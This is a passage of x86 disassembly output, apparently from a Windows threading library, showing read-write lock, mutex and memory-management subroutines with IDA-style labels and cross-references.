push edi push 14h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_432B01 pop edi pop esi pop ebp mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_432B01: ; CODE XREF: sub_432AE0+15j mov edi, [esp+10h+arg_8] mov ebp, [esp+10h+arg_4] mov dword ptr [esi], 0FFFFFFFFh mov [esi+4], ebp lea ebx, [edi+8] mov [esi+8], edi push ebx call sub_402248 add esp, 4 mov [esp+10h+arg_4], eax test eax, eax jz short loc_432B42 push esi call sub_402252 push esi nop call near ptr 77C2C21Bh mov eax, [esp+18h+arg_4] add esp, 8 pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_432B42: ; CODE XREF: sub_432AE0+47j mov eax, [edi+0Ch] push ebx mov [esi+10h], eax mov [edi+0Ch], esi call sub_4010C3 add esp, 4 test ebp, ebp jz short loc_432B67 mov ecx, [ebp+80h] mov [esi+0Ch], ecx mov [ebp+80h], esi loc_432B67: ; CODE XREF: sub_432AE0+76j mov edx, [esp+10h+arg_0] pop edi xor eax, eax mov [edx], esi pop esi pop ebp pop ebx retn sub_432AE0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432BB0 proc near ; CODE XREF: sub_40105Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_432BD7 mov eax, [esi+8] test eax, eax jnz short loc_432BD7 mov eax, [esi+4] test eax, eax jnz short loc_432BD7 push esi call sub_402252 push esi nop call near ptr 77C2C21Bh add esp, 8 loc_432BD7: ; CODE XREF: sub_432BB0+7j ; sub_432BB0+Ej ... pop esi retn sub_432BB0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432BF0 proc near ; CODE XREF: sub_40131Bj arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] test ebx, ebx push esi jz short loc_432C5D mov esi, [ebx+80h] test esi, esi jz short loc_432C5D push edi loc_432C05: ; CODE XREF: sub_432BF0+6Aj push esi call sub_402248 add esp, 4 test eax, eax jnz short loc_432C58 mov edi, [esi+8] test edi, edi jz short loc_432C33 push edi call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_432C33 mov edi, [edi+4] test edi, edi jz short loc_432C33 push eax loc_432C2E: ; CODE XREF: ___:00432CA7j call edi ; free add esp, 4 loc_432C33: ; CODE XREF: sub_432BF0+27j ; sub_432BF0+34j ... mov eax, [esi+0Ch] mov dword ptr [esi+4], 0 push esi mov [ebx+80h], eax call sub_4010C3 push esi call sub_40105F mov esi, [ebx+80h] add esp, 8 loc_432C58: ; CODE XREF: sub_432BF0+20j test esi, esi jnz short loc_432C05 pop edi loc_432C5D: ; CODE XREF: sub_432BF0+8j ; sub_432BF0+12j pop esi pop ebx retn sub_432BF0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_432C80 proc near ; CODE XREF: sub_401DEDj mov eax, dword_5103C4 push ebx push edi push eax call sub_401190 sub_432C80 endp ; --------------------------------------------------------------------------- db 8Bh, 5Ch, 24h ; --------------------------------------------------------------------------- adc [ebx-47CFB3Ch], al add cl, [ebx-7CF28B08h] sti add [eax+ecx+6Ah], esi add [eax-7F8E2918h], edx ja short loc_432C2E push dword ptr [esi+eax-0Ah] inc edi jl short near ptr loc_432CB0+1 loc_432CB0: ; CODE XREF: ___:00432CAEj jz short loc_432CD5 push esi mov eax, ebx xor esi, esi dec eax jz short loc_432CC2 dec eax jnz short loc_432CC5 or esi, 0FFFFFFFFh jmp short loc_432CC5 ; --------------------------------------------------------------------------- loc_432CC2: ; CODE XREF: ___:00432CB8j mov esi, [edi+14h] loc_432CC5: ; CODE XREF: ___:00432CBBj ; ___:00432CC0j call sub_4017CB push esi nop call near ptr 77C3A307h add esp, 4 pop esi loc_432CD5: ; CODE XREF: ___:loc_432CB0j push 1 call sub_401B22 ; --------------------------------------------------------------------------- dd 8304C483h, 57533CC7h, 408AE890h, 90907780h, 90909090h dd 8 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_432D10 proc near ; CODE XREF: sub_401B22j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_401122 sub_432D10 endp ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_432D2F loc_432D22: ; CODE XREF: ___:00432D2Dj push esi call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_432D22 loc_432D2F: ; CODE XREF: ___:00432D20j pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432D50: ; CODE XREF: ___:00401DF7j xor eax, eax retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432D70 proc near ; CODE XREF: sub_4012D0j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] lock cmpxchg [ecx], edx mov [ebp+var_4], eax pop edx pop ecx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 0Ch sub_432D70 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432DB0 proc near ; CODE XREF: sub_401C3Aj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 lea eax, [esp+8+var_4] lea ecx, [esp+8+var_8] push esi push eax push ecx xor esi, esi nop call near ptr 27904BEh push eax nop call near ptr 2740A1Bh test eax, eax jz short loc_432DF2 mov edx, [esp+0Ch+var_8] xor ecx, ecx mov eax, 1 loc_432DDC: ; CODE XREF: sub_432DB0+33j test eax, edx jz short loc_432DE1 inc ecx loc_432DE1: ; CODE XREF: sub_432DB0+2Ej shl eax, 1 jnz short loc_432DDC mov edx, [esp+0Ch+arg_0] mov eax, esi pop esi mov [edx], ecx add esp, 8 retn ; --------------------------------------------------------------------------- loc_432DF2: ; CODE XREF: sub_432DB0+1Fj mov eax, 0Bh pop esi add esp, 8 retn sub_432DB0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E20 proc near ; CODE XREF: sub_40185Cj arg_0 = dword ptr 4 push esi push offset dword_510980 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_432E54 push esi push ecx call sub_401F91 add esp, 8 mov esi, eax push offset dword_510980 call near ptr 7C9010EDh nop mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_432E54: ; CODE XREF: sub_432E20+17j test eax, eax jnz short loc_432E5D mov esi, 16h loc_432E5D: ; CODE XREF: sub_432E20+36j push offset dword_510980 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_432E20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E90 proc near ; CODE XREF: sub_401861j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+14h] lea ecx, [esi+4] neg eax push ecx mov [esi+0Ch], eax mov dword ptr [esi+14h], 0 call sub_4010C3 push esi call sub_4010C3 add esp, 8 pop esi retn sub_432E90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432ED0 proc near ; CODE XREF: sub_401F91j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi xor esi, esi test eax, eax jnz short loc_432EE2 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432EE2: ; CODE XREF: sub_432ED0+9j mov eax, [esp+4+arg_4] push ebx test eax, eax push edi jz short loc_432F02 cmp dword ptr [eax], 0 jz short loc_432F02 mov ecx, [esp+0Ch+arg_0] mov edi, 16h mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F02: ; CODE XREF: sub_432ED0+1Aj ; sub_432ED0+1Fj push 1Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_432F26 mov ecx, [esp+0Ch+arg_0] mov edi, 0Ch mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F26: ; CODE XREF: sub_432ED0+43j push 0 push esi mov dword ptr [esi+0Ch], 0 mov dword ptr [esi+10h], 0 mov dword ptr [esi+14h], 0 call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_432F84 lea ebx, [esi+4] push eax push ebx call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_432F7B push eax lea eax, [esi+8] push eax call sub_40154B mov edi, eax add esp, 8 test edi, edi jz short loc_432F9C push ebx call sub_402252 add esp, 4 loc_432F7B: ; CODE XREF: sub_432ED0+8Dj push esi call sub_402252 add esp, 4 loc_432F84: ; CODE XREF: sub_432ED0+7Aj push esi call near ptr 77C2C21Bh nop mov ecx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F9C: ; CODE XREF: sub_432ED0+A0j mov ecx, [esp+0Ch+arg_0] xor edi, edi mov eax, edi mov dword ptr [esi+18h], 0FACADE2h pop edi mov [ecx], esi pop ebx pop esi retn sub_432ED0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433000: ; CODE XREF: ___:004018BBj mov eax, [esp+4] push ebx push ebp push esi push edi xor ebx, ebx xor edi, edi xor ebp, ebp test eax, eax jz loc_43313B mov esi, [eax] test esi, esi jz loc_43313B cmp esi, 0FFFFFFFFh jz loc_4330F7 cmp dword ptr [esi+18h], 0FACADE2h jnz loc_43313B push esi call sub_402248 add esp, 4 test eax, eax jnz loc_433140 lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_433069 push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_433069: ; CODE XREF: ___:00433057j mov eax, [esi+10h] test eax, eax jg short loc_4330DD mov eax, [esi+0Ch] mov ecx, [esi+14h] cmp eax, ecx jg short loc_4330DD push edi mov dword ptr [esi+18h], 0 call sub_4010C3 add esp, 4 mov ebx, eax test ebx, ebx push esi jz short loc_4330A0 call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_4330A0: ; CODE XREF: ___:0043308Fj call sub_4010C3 add esp, 4 test eax, eax jnz loc_433140 mov ecx, [esp+14h] lea edx, [esi+8] push edx mov [ecx], eax call sub_401AA5 push edi mov ebx, eax call sub_402252 push esi mov edi, eax call sub_402252 push esi mov ebp, eax nop call near ptr 77C2C21Bh add esp, 10h jmp short loc_433123 ; --------------------------------------------------------------------------- loc_4330DD: ; CODE XREF: ___:0043306Ej ; ___:00433078j push edi call sub_4010C3 push esi mov ebx, eax call sub_4010C3 add esp, 8 mov edi, eax mov ebp, 10h jmp short loc_433123 ; --------------------------------------------------------------------------- loc_4330F7: ; CODE XREF: ___:00433023j push offset dword_510980 call near ptr 7C901005h nop mov eax, [esp+14h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_433113 mov dword ptr [eax], 0 jmp short loc_433118 ; --------------------------------------------------------------------------- loc_433113: ; CODE XREF: ___:00433109j mov ebx, 10h loc_433118: ; CODE XREF: ___:00433111j push offset dword_510980 call near ptr 7C9010EDh nop loc_433123: ; CODE XREF: ___:004330DBj ; ___:004330F5j test ebx, ebx jz short loc_43312E pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43312E: ; CODE XREF: ___:00433125j test edi, edi mov eax, edi jnz short loc_433140 pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43313B: ; CODE XREF: ___:00433010j ; ___:0043301Aj ... mov eax, 16h loc_433140: ; CODE XREF: ___:00433041j ; ___:004330AAj ... pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_4331B0: ; CODE XREF: ___:00401EA6j push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_4331D3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4331D3: ; CODE XREF: ___:004331C2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433200: ; CODE XREF: ___:0040179Ej mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_433221 mov eax, [ecx] test eax, eax jz short loc_433221 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_433221: ; CODE XREF: ___:00433209j ; ___:0043320Fj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433240: ; CODE XREF: ___:00401136j mov eax, [esp+4] test eax, eax jz short loc_43325D mov eax, [eax] test eax, eax jz short loc_43325D mov ecx, [esp+8] test ecx, ecx jz short loc_43325D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43325D: ; CODE XREF: ___:00433246j ; ___:0043324Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433280: ; CODE XREF: ___:004015A5j mov eax, [esp+4] test eax, eax jz short loc_4332AA mov ecx, [eax] test ecx, ecx jz short loc_4332AA mov eax, [esp+8] cmp eax, 1 jz short loc_43329E test eax, eax jnz short loc_4332AA mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43329E: ; CODE XREF: ___:00433295j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_4332AA: ; CODE XREF: ___:00433286j ; ___:0043328Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4332C0: ; CODE XREF: ___:00402095j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43337A mov eax, [esi] test eax, eax jz loc_43337A cmp eax, 0FFFFFFFFh jnz short loc_4332F4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4332F4 cmp eax, 10h jnz loc_43337F loc_4332F4: ; CODE XREF: ___:004332DCj ; ___:004332E9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43337A push esi call sub_402248 add esp, 4 test eax, eax jnz short loc_43337F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43336D lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_43333D push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43333D: ; CODE XREF: ___:0043332Cj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43336D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43336D: ; CODE XREF: ___:0043331Aj ; ___:0043335Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43337A: ; CODE XREF: ___:004332C9j ; ___:004332D3j ... mov eax, 16h loc_43337F: ; CODE XREF: ___:004332EEj ; ___:0043330Aj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4333D0: ; CODE XREF: ___:004016A4j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43349F mov eax, [esi] test eax, eax jz loc_43349F cmp eax, 0FFFFFFFFh jnz short loc_433404 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433404 cmp eax, 10h jnz loc_4334A4 loc_433404: ; CODE XREF: ___:004333ECj ; ___:004333F9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_43349F mov ebx, [esp+14h] push ebx push esi call sub_401BD6 add esp, 8 test eax, eax jnz short loc_4334A4 mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_433492 lea edi, [esi+4] push ebx push edi call sub_401BD6 mov ebx, eax add esp, 8 test ebx, ebx jz short loc_433462 cmp ebx, 274Ch jnz short loc_433453 inc dword ptr [esi+14h] loc_433453: ; CODE XREF: ___:0043344Ej push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433462: ; CODE XREF: ___:00433446j mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_433492 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433492: ; CODE XREF: ___:00433433j ; ___:00433481j push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43349F: ; CODE XREF: ___:004333D9j ; ___:004333E3j ... mov eax, 16h loc_4334A4: ; CODE XREF: ___:004333FEj ; ___:00433423j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4334F0: ; CODE XREF: ___:004015D2j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_4335E6 mov eax, [esi] test eax, eax jz loc_4335E6 cmp eax, 0FFFFFFFFh jnz short loc_433527 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433527 cmp eax, 10h jnz loc_4335EB loc_433527: ; CODE XREF: ___:0043350Fj ; ___:0043351Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4335E6 push esi call sub_402248 add esp, 4 test eax, eax jnz loc_4335EB lea ebp, [esi+4] push ebp call sub_402248 mov edi, eax add esp, 4 test edi, edi jz short loc_43356B push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43356B: ; CODE XREF: ___:00433557j mov eax, [esi+10h] test eax, eax jnz short loc_4335DA mov eax, [esi+14h] test eax, eax jle short loc_433588 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_433588: ; CODE XREF: ___:00433577j mov eax, [esi+0Ch] test eax, eax jle short loc_4335DA neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401861 push eax call sub_401663 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_4335AB: ; CODE XREF: ___:004335C0j push ebp push ebx call sub_401203 mov edi, eax add esp, 8 test edi, edi jnz short loc_4335C2 mov eax, [esi+14h] test eax, eax jl short loc_4335AB loc_4335C2: ; CODE XREF: ___:004335B9j xor ecx, ecx test edi, edi setnz cl push ecx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_4335DD mov [esi+0Ch], edi loc_4335DA: ; CODE XREF: ___:00433570j ; ___:0043358Dj inc dword ptr [esi+10h] loc_4335DD: ; CODE XREF: ___:004335D5j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4335E6: ; CODE XREF: ___:004334FCj ; ___:00433506j ... mov eax, 16h loc_4335EB: ; CODE XREF: ___:00433521j ; ___:00433541j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_433650: ; CODE XREF: ___:00401960j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_433751 mov eax, [esi] test eax, eax jz loc_433751 cmp eax, 0FFFFFFFFh jnz short loc_433687 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433687 cmp eax, 10h jnz loc_433756 loc_433687: ; CODE XREF: ___:0043366Fj ; ___:0043367Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_433751 mov edi, [esp+20h] push edi push esi call sub_401BD6 add esp, 8 test eax, eax jnz loc_433756 lea ebp, [esi+4] push edi push ebp call sub_401BD6 mov edi, eax add esp, 8 test edi, edi jz short loc_4336D1 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4336D1: ; CODE XREF: ___:004336BDj mov eax, [esi+10h] test eax, eax jnz short loc_433745 mov eax, [esi+14h] test eax, eax jle short loc_4336EE mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_4336EE: ; CODE XREF: ___:004336DDj mov eax, [esi+0Ch] test eax, eax jle short loc_433745 neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401861 push eax call sub_401663 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_433711: ; CODE XREF: ___:0043372Bj mov ecx, [esp+24h] push ecx push ebp push ebx call sub_4011E0 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_43372D mov eax, [esi+14h] test eax, eax jl short loc_433711 loc_43372D: ; CODE XREF: ___:00433724j xor edx, edx test edi, edi setnz dl push edx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_433748 mov [esi+0Ch], edi loc_433745: ; CODE XREF: ___:004336D6j ; ___:004336F3j inc dword ptr [esi+10h] loc_433748: ; CODE XREF: ___:00433740j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_433751: ; CODE XREF: ___:0043365Cj ; ___:00433666j ... mov eax, 16h loc_433756: ; CODE XREF: ___:00433681j ; ___:004336A6j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4337B0: ; CODE XREF: ___:004015C8j mov eax, [esp+4] push ebx push esi push edi test eax, eax jz short loc_433836 mov esi, [eax] test esi, esi jz short loc_433836 cmp esi, 0FFFFFFFFh jnz short loc_4337CC pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4337CC: ; CODE XREF: ___:004337C4j cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_433836 mov eax, [esi+10h] test eax, eax jnz short loc_433814 lea ebx, [esi+4] push ebx call sub_402248 mov edi, eax add esp, 4 test edi, edi jz short loc_4337F2 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4337F2: ; CODE XREF: ___:004337ECj mov eax, [esi+14h] inc eax mov [esi+14h], eax jnz short loc_433809 add esi, 8 push esi call sub_401E6F add esp, 4 mov edi, eax loc_433809: ; CODE XREF: ___:004337F9j push ebx call sub_4010C3 add esp, 4 jmp short loc_43382C ; --------------------------------------------------------------------------- loc_433814: ; CODE XREF: ___:004337DAj dec eax mov [esi+10h], eax lea eax, [esi+4] push eax call sub_4010C3 push esi mov edi, eax call sub_4010C3 add esp, 8 loc_43382C: ; CODE XREF: ___:00433812j test edi, edi jz short loc_43383B mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433836: ; CODE XREF: ___:004337B9j ; ___:004337BFj ... mov eax, 16h loc_43383B: ; CODE XREF: ___:0043382Ej pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_433870: ; CODE XREF: ___:0040153Cj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43392A mov eax, [esi] test eax, eax jz loc_43392A cmp eax, 0FFFFFFFFh jnz short loc_4338A4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4338A4 cmp eax, 10h jnz loc_43392F loc_4338A4: ; CODE XREF: ___:0043388Cj ; ___:00433899j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43392A push esi call sub_401785 add esp, 4 test eax, eax jnz short loc_43392F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43391D lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_4338ED push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4338ED: ; CODE XREF: ___:004338DCj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43391D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43391D: ; CODE XREF: ___:004338CAj ; ___:0043390Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43392A: ; CODE XREF: ___:00433879j ; ___:00433883j ... mov eax, 16h loc_43392F: ; CODE XREF: ___:0043389Ej ; ___:004338BAj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433980: ; CODE XREF: ___:00401FF0j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_433A61 mov eax, [esi] test eax, eax jz loc_433A61 cmp eax, 0FFFFFFFFh jnz short loc_4339B4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4339B4 cmp eax, 10h jnz loc_433A66 loc_4339B4: ; CODE XREF: ___:0043399Cj ; ___:004339A9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_433A61 push esi call sub_401785 add esp, 4 test eax, eax jnz loc_433A66 lea ebx, [esi+4] push ebx call sub_401785 mov edi, eax add esp, 4 test edi, edi jz short loc_4339F9 push esi call sub_4010C3 add esp, 4 test eax, eax jnz short loc_433A66 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4339F9: ; CODE XREF: ___:004339E4j mov eax, [esi+10h] test eax, eax jnz short loc_433A49 mov eax, [esi+14h] test eax, eax jle short loc_433A16 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_433A16: ; CODE XREF: ___:00433A05j mov eax, [esi+0Ch] test eax, eax jle short loc_433A54 push ebx call sub_4010C3 add esp, 4 mov edi, eax test edi, edi push esi jz short loc_433A3B call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A3B: ; CODE XREF: ___:00433A2Bj call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jnz short loc_433A4E loc_433A49: ; CODE XREF: ___:004339FEj mov edi, 10h loc_433A4E: ; CODE XREF: ___:00433A47j mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A54: ; CODE XREF: ___:00433A1Bj mov eax, edi mov dword ptr [esi+10h], 1 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A61: ; CODE XREF: ___:00433989j ; ___:00433993j ... mov eax, 16h loc_433A66: ; CODE XREF: ___:004339AEj ; ___:004339CEj ... pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433AB0: ; CODE XREF: ___:00401C0Dj mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jz short loc_433AC7 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_433AC7: ; CODE XREF: ___:00433ABFj mov eax, [esp+8] neg eax sbb eax, eax and eax, 30h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433AF0: ; CODE XREF: ___:00401EB5j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433B17 mov eax, [esp+8] test eax, eax jz short loc_433B17 cmp eax, 2 jbe short loc_433B17 mov dword ptr [eax], 0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_433B17: ; CODE XREF: ___:00433AFFj ; ___:00433B07j ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433B30: ; CODE XREF: ___:0040117Cj push ebx mov ebx, [esp+8] push esi push edi push ebx call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433B76 mov edi, [esp+14h] test 